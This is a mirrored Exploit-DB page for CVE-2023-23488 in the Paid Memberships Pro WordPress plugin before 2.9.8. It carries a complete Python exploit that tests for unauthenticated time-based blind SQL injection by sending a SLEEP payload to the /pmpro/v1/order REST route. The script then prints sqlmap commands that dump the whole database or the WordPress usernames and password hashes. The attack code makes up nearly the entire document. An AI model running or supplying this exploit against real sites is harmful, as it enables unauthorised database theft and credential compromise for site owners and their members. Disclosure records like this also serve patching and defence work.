Paid Memberships Pro v2.9.8 (WordPress Plugin) – Unauthenticated SQL Injection

  • 作者: r3nt0n
    日期: 2023-04-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51235/
  • #!/usr/bin/env python
    # Exploit Title: Paid Memberships Prov2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection
    # Exploit Author: r3nt0n
    # CVE: CVE-2023-23488
    # Date: 2023/01/24
    # Vulnerability discovered by Joshua Martinelle
    # Vendor Homepage: https://www.paidmembershipspro.com
    # Software Link: https://downloads.wordpress.org/plugin/paid-memberships-pro.2.9.7.zip
    # Advisory: https://github.com/advisories/GHSA-pppw-hpjp-v2p9
    # Version: < 2.9.8
    # Tested on: Debian 11 - WordPress 6.1.1 - Paid Memberships Pro 2.9.7
    #
    # Running this script against a WordPress instance with Paid Membership Pro plugin
    # tells you if the target is vulnerable.
    # As the SQL injection technique required to exploit it is Time-based blind, instead of
    # trying to directly exploit the vuln, it will generate the appropriate sqlmap command
    # to dump the whole database (probably very time-consuming) or specific chose data like
    # usernames and passwords.
    #
    # Usage example: python3 CVE-2023-23488.py http://127.0.0.1/wordpress
    
    import sys
    import requests
    
    def get_request(target_url, delay="1"):
    payload = "a' OR (SELECT 1 FROM (SELECT(SLEEP(" + delay + ")))a)-- -"
    data = {'rest_route': '/pmpro/v1/order',
    'code': payload}
    return requests.get(target_url, params=data).elapsed.total_seconds()
    
    print('Paid Memberships Pro < 2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection\n')
    if len(sys.argv) != 2:
    print('Usage: {} <target_url>'.format("python3 CVE-2023-23488.py"))
    print('Example: {} http://127.0.0.1/wordpress'.format("python3 CVE-2023-23488.py"))
    sys.exit(1)
    
    target_url = sys.argv[1]
    try:
    print('[-] Testing if the target is vulnerable...')
    req = requests.get(target_url, timeout=15)
    except:
    print('{}[!] ERROR: Target is unreachable{}'.format(u'\033[91m',u'\033[0m'))
    sys.exit(2)
    
    if get_request(target_url, "1") >= get_request(target_url, "2"):
    print('{}[!] The target does not seem vulnerable{}'.format(u'\033[91m',u'\033[0m'))
    sys.exit(3)
    print('\n{}[*] The target is vulnerable{}'.format(u'\033[92m', u'\033[0m'))
    print('\n[+] You can dump the whole WordPress database with:')
    print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump'.format(target_url))
    print('\n[+] To dump data from specific tables:')
    print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users'.format(target_url))
    print('\n[+] To dump only WordPress usernames and passwords columns (you should check if users table have the default name):')
    print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users -C user_login,user_pass'.format(target_url))
    sys.exit(0)